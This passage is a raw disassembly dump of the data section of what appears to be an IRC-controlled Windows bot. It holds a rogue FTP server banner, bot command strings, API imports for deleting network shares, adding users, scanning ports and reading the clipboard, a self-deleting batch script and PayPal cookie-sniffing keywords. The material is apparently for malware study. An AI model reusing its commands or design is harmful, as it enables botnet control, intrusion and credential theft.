6048102Bh, 2, 0 dword_41C064 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_403CA3+E3o ; --------------------------------------------------------------------------- loc_41C080: ; DATA XREF: sub_403CA3+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_41C094 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_403CA3+13Fo a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403E11+5B1o aQuit db 'QUIT',0 ; DATA XREF: sub_403E11+59Do ; sub_4077FD+4FAo align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_403E11+590o align 10h unk_41C0F0 db 1Fh ; DATA XREF: sub_403E11+545o db 5Bh, 1Fh, 2 db 52h ; R db 2 dup(4Fh), 54h db 45h ; E db 44h, 2, 1Fh db 5Dh ; ] db 1Fh, 20h, 0BBh aFtpFinishedSDR db ' ftp finished: %s:%d running %s',0 align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403E11+526o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_403E11+4FAo align 4 aRetr db 'RETR',0 ; DATA XREF: sub_403E11+4E2o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403E11+4D2o align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_403E11+4C1o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_403E11+48Eo align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403E11+44Ao db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_403E11+411o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403E11+3E3o align 4 aList db 'LIST',0 ; DATA XREF: sub_403E11+3D0o align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_403E11+395o align 10h aPasv db 'PASV',0 ; DATA XREF: sub_403E11+382o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403E11+372o aI: ; DATA XREF: sub_403E11+35Eo unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403E11+337o aA: ; DATA XREF: sub_403E11+323o unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_403E11+30Co ; sub_403E11+347o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403E11+2FCo align 10h off_41C280 dd offset dword_445750 ; DATA XREF: sub_403E11+2E8o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403E11+2D8o align 4 aRest db 'REST',0 ; DATA XREF: sub_403E11+2C4o align 10h a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_403E11+2B4o align 10h aSyst db 'SYST',0 ; DATA XREF: sub_403E11+2A0o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403E11+290o align 10h aPass db 'PASS',0 ; DATA XREF: sub_403E11+27Co align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_403E11+26Co align 10h aUser db 'USER',0 ; DATA XREF: sub_403E11+257o align 4 aSS db '%s %s',0 ; DATA XREF: sub_403E11+246o align 10h a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403E11+1C8o align 4 aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_404555+58o aS_0 db '%s',0 ; DATA XREF: sub_404555+3Bo ; sub_406441+19o align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_404555+16o ; sub_4077FD+5D8o aNotice db 'NOTICE',0 ; DATA XREF: sub_404555+Fo ; sub_4077FD+5E4o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4045F0+B8Co align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4045F0+B7Fo align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4045F0+B72o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4045F0+B65o align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4045F0+B58o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4045F0+B50o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4045F0:loc_405133o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4045F0+B0Eo align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4045F0+B06o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4045F0:loc_4050E9o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4045F0+AB4o align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4045F0+AA7o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4045F0+A9Ao aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4045F0+A92o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4045F0:loc_405075o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4045F0+A50o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4045F0+A48o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4045F0:loc_40502Bo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4045F0+A06o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4045F0+9FEo align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4045F0:loc_404FE1o align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4045F0+974o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4045F0+967o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4045F0+95Ao aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4045F0+94Do align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4045F0+940o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4045F0+933o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4045F0+926o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4045F0+919o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4045F0+90Co align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4045F0+8FFo aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4045F0+8F7o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4045F0:loc_404ED6o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4045F0+8A9o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4045F0+89Co aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4045F0+894o align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4045F0:loc_404E77o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4045F0+85Ao align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4045F0+7E8o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4045F0+7DBo align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4045F0+7CEo align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4045F0+7C1o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4045F0+7B4o align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4045F0+7A7o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4045F0+79Ao align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4045F0+78Do align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4045F0+780o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4045F0+778o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4045F0:loc_404D57o aClosesocket db 'closesocket',0 ; DATA XREF: sub_4045F0+62Eo aGetpeername db 'getpeername',0 ; DATA XREF: sub_4045F0+621o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4045F0+614o align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4045F0+607o align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_4045F0+5FAo aGetsockname db 'getsockname',0 ; DATA XREF: sub_4045F0+5EDo aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4045F0+5E0o align 4 aAccept db 'accept',0 ; DATA XREF: sub_4045F0+5D3o align 4 aListen db 'listen',0 ; DATA XREF: sub_4045F0+5C6o align 4 aSelect db 'select',0 ; DATA XREF: sub_4045F0+5B9o align 4 aBind db 'bind',0 ; DATA XREF: sub_4045F0+5B1o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4045F0+59Fo align 4 aRecv db 'recv',0 ; DATA XREF: sub_4045F0+592o align 10h aSendto db 'sendto',0 ; DATA XREF: sub_4045F0+585o align 4 aSend db 'send',0 ; DATA XREF: sub_4045F0+578o align 10h aNtohl db 'ntohl',0 ; DATA XREF: sub_4045F0+56Bo align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4045F0+55Eo align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_4045F0+551o align 4 aHtons db 'htons',0 ; DATA XREF: sub_4045F0+544o align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4045F0+537o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4045F0+52Ao align 4 aConnect db 'connect',0 ; DATA XREF: sub_4045F0+51Do aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4045F0+510o aSocket db 'socket',0 ; DATA XREF: sub_4045F0+503o align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4045F0+4F6o align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4045F0+4E9o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4045F0+4DCo align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4045F0+4CFo align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4045F0+4C2o align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4045F0+4B5o align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4045F0+4ADo align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4045F0+49Co align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4045F0+429o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4045F0+41Co align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_4045F0+40Fo align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4045F0+402o align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4045F0+3F5o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4045F0+3E8o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4045F0+3DBo align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4045F0+3CEo align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4045F0+3C6o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4045F0:loc_4049A5o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4045F0:loc_40497Do align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4045F0+335o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4045F0+328o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4045F0+31Bo align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4045F0+30Eo align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_4045F0+301o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4045F0+2F4o align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4045F0+2E7o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4045F0:loc_4048CFo align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4045F0+2AFo align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4045F0+2A2o align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4045F0:loc_40488Ao align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4045F0+252o aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4045F0+245o aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4045F0+238o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4045F0+22Bo align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4045F0+21Eo aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4045F0+216o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4045F0:loc_4047F5o align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4045F0+1A0o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4045F0+193o align 10h aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4045F0+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4045F0+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4045F0+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_4045F0+15Fo align 10h aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4045F0+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4045F0+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4045F0:loc_404725o ; sub_416004+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4045F0:loc_4046F8o align 10h aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4045F0+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4045F0+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4045F0+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4045F0+79o align 10h aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4045F0+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4045F0+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_4045F0+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4045F0+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_4045F0+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4045F0+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4045F0+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4045F0+Ao align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40530E+72o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_4053D3+5o ; sub_4066DA+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_405455+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4054F9+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40551B+140o align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40551B+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40551B+48o align 10h dd offset aAdd ; "Add" dd offset aAdded ; "Added" dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop ; "Stop" dd offset aStopped ; "Stopped" dd 1, 41CC94h, 41CC8Ch, 2, 41CC80h, 41CC74h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause db 'Pause',0 align 4 aStopped db 'Stopped',0 ; DATA XREF: .nsp0:0041CC54o aStop db 'Stop',0 ; DATA XREF: .nsp0:0041CC50o align 4 aStarted db 'Started',0 ; DATA XREF: .nsp0:0041CC48o aStart db 'Start',0 ; DATA XREF: .nsp0:0041CC44o align 4 aListed db 'Listed',0 ; DATA XREF: .nsp0:0041CC3Co align 4 aList_0 db 'List',0 ; DATA XREF: .nsp0:0041CC38o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:0041CC30o aDelete_0 db 'Delete',0 ; DATA XREF: .nsp0:0041CC2Co align 4 aAdded db 'Added',0 ; DATA XREF: .nsp0:0041CC24o align 4 aAdd db 'Add',0 ; DATA XREF: .nsp0:0041CC20o aGuest db 'Guest',0 ; DATA XREF: .nsp0:0041E098o align 10h aUser_0 db 'User',0 ; DATA XREF: .nsp0:0041E0C8o align 4 aAdministrator db 'Administrator',0 ; DATA XREF: .nsp0:0041E08Co align 4 aFlushdnsNotSup db '[FLUSHDNS]: Not supported by this system.',0 ; DATA XREF: sub_405811:loc_4058D5o align 4 aFlushdnsUnable db '[FLUSHDNS]: Unable to allocation ARP cache.',0 ; DATA XREF: sub_405811:loc_4058B0o aFlushdnsArpCac db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_405811:loc_405866o aFlushdnsErrorG db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0 ; DATA XREF: sub_405811+45o align 4 aPingFinishedSe db '[PING]: Finished sending pings to %s.',0 ; DATA XREF: sub_405985+13Co align 4 aPingErrorSendi db '[PING]: Error sending pings to %s.',0 ; DATA XREF: sub_405985+6Eo align 4 dword_41CDF8 dd 275021Fh, 2070641Fh, 0BB02BB02h ; DATA XREF: sub_405B11+1C7o aFinishedSendin db ' Finished sending packets to %s.',0 align 4 dword_41CE28 dd 275021Fh, 2070641Fh, 0BB02BB02h ; DATA XREF: sub_405B11+8Eo aErrorSendingPi db ' Error sending pings to %s.',0 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_405D93+119o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_405D93+4Eo ; sub_405D93+99o align 10h unk_41CE70 db 1Fh ; DATA XREF: sub_405F40:loc_405FCDo db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aProcessListFai db ' Process list failed.',0 align 4 unk_41CE94 db 1Fh ; DATA XREF: sub_405F40+86o db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aProcessListCom db ' Process list completed.',0 align 4 dword_41CEBC dd 270021Fh, 636F721Fh, 2BB0220h, 694C20BBh, 6E697473h ; DATA XREF: sub_405F40+19o dd 72702067h, 7365636Fh, 3A736573h, 0 dd offset dword_41D758 dd offset off_41D754 dd offset aFtp ; "FTP" dd offset aHttp ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: .nsp0:0041CEECo align 10h aFtp db 'FTP',0 ; DATA XREF: .nsp0:0041CEE8o off_41D754 dd offset byte_435249 ; DATA XREF: .nsp0:0041CEE4o dword_41D758 dd 544F42h, 0 ; DATA XREF: .nsp0:0041CEE0o unk_41D760 db 1Fh ; DATA XREF: sub_406055+E9o db 2, 72h, 2 db 1Fh db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 20h db 2, 0BBh, 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_41D7A8 db 1Fh ; DATA XREF: sub_4061D2+E1o db 2, 72h, 2 db 1Fh db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 20h db 2, 0BBh, 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 10h dword_41D7F0 dd 736E6F63h ; DATA XREF: sub_406777+Fr dd 74h, 0 dword_41D7FC dd 1 ; DATA XREF: sub_406777:loc_40679Er off_41D800 dd offset sub_406441 ; DATA XREF: sub_406777+4Ar aLetter db 'letter',0 align 10h dd 2, 40649Fh, 706D6F63h, 2 dup(0) dd 3, 4064ECh, 6E756F63h, 797274h, 0 dd 4, 40655Bh, 736Fh, 2 dup(0) dd 5, 4065D0h dword_41D854 dd 69257325h, 0 ; DATA XREF: sub_406441+40o ; .nsp0:0040653Co ... dword_41D85C dd 4350h ; DATA XREF: .nsp0:00406509o dword_41D860 dd 7C7325h ; DATA XREF: .nsp0:0040658Ao dword_41D864 dd 5D73255Bh, 7Ch ; DATA XREF: .nsp0:00406694o dword_41D86C dd 3F3F3Fh ; DATA XREF: .nsp0:loc_40668Bo ; sub_40B807:loc_40B8CAo dword_41D870 dd 334B32h ; DATA XREF: .nsp0:00406684o dword_41D874 dd 5058h ; DATA XREF: .nsp0:00406676o ; sub_40B807+AAo dword_41D878 dd 4B32h ; DATA XREF: .nsp0:00406666o ; sub_40B807+98o dword_41D87C dd 454Dh ; DATA XREF: .nsp0:0040664Do ; sub_40B807+7Eo dword_41D880 dd 3839h ; DATA XREF: .nsp0:0040663Do ; sub_40B807+6Co dword_41D884 dd 544Eh ; DATA XREF: .nsp0:0040662Do ; sub_40B807+5Ao dword_41D888 dd 3539h ; DATA XREF: .nsp0:0040661Fo ; sub_40B807+46o dword_41D88C dd 5D64255Bh, 7325h ; DATA XREF: sub_4066DA+3Ao dword_41D894 dd 5D4D5Bh ; DATA XREF: sub_4066DA+2Co ; sub_4066DA+51o unk_41D898 db 1Fh ; DATA XREF: sub_4067E1+92o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aIpSPortDIsOpen db ' IP: %s Port: %d is open.',0 align 10h unk_41D8C0 db 1Fh ; DATA XREF: sub_4068AE+41o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 4 off_41D8EC dd offset dword_41D924 ; DATA XREF: sub_4069FF:loc_406BB4r ; sub_4069FF+1C3r ... dword_41D8F0 dd 0 ; DATA XREF: sub_406D25:loc_406EA6r dd offset dword_41D91C dd 0 dd offset dword_41D918 dd offset dword_41D914 dd offset dword_41D910 dd offset dword_41D90C dword_41D90C dd 5C3A44h ; DATA XREF: .nsp0:0041D908o dword_41D910 dd 2444h ; DATA XREF: .nsp0:0041D904o dword_41D914 dd 5C3A43h ; DATA XREF: .nsp0:0041D900o dword_41D918 dd 2443h ; DATA XREF: .nsp0:0041D8FCo dword_41D91C dd 494D4441h, 244Eh ; DATA XREF: .nsp0:0041D8F4o dword_41D924 dd 24435049h, 0 ; DATA XREF: .nsp0:off_41D8ECo unk_41D92C db 1Fh ; DATA XREF: sub_4069FF+2E7o ; sub_406D25+2DDo db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aNetapi32_dllCo db 'Netapi32.dll couldn',27h,'t be loaded.',0 align 10h unk_41D960 db 1Fh ; DATA XREF: sub_4069FF+2D1o db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aNetworkSharesD db 'Network shares deleted.',0 unk_41D988 db 1Fh ; DATA XREF: sub_4069FF:loc_406C69o db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aFailedToDelete db 'Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_41D9B8 db 1Fh ; DATA XREF: sub_4069FF+263o db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aShareSDeleted_ db 'Share ',27h,'%S',27h,' deleted.',0 unk_41D9DC db 1Fh ; DATA XREF: sub_4069FF:loc_406BD9o db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aFailedToDele_0 db 'Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_41DA0C db 1Fh ; DATA XREF: sub_4069FF+1D3o db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aShareSDelete_0 db 'Share ',27h,'%s',27h,' deleted.',0 unk_41DA30 db 1Fh ; DATA XREF: sub_4069FF:loc_406B31o ; sub_406D25:loc_406E53o db 2, 73h, 2 db 1Fh db 65h, 63h, 75h 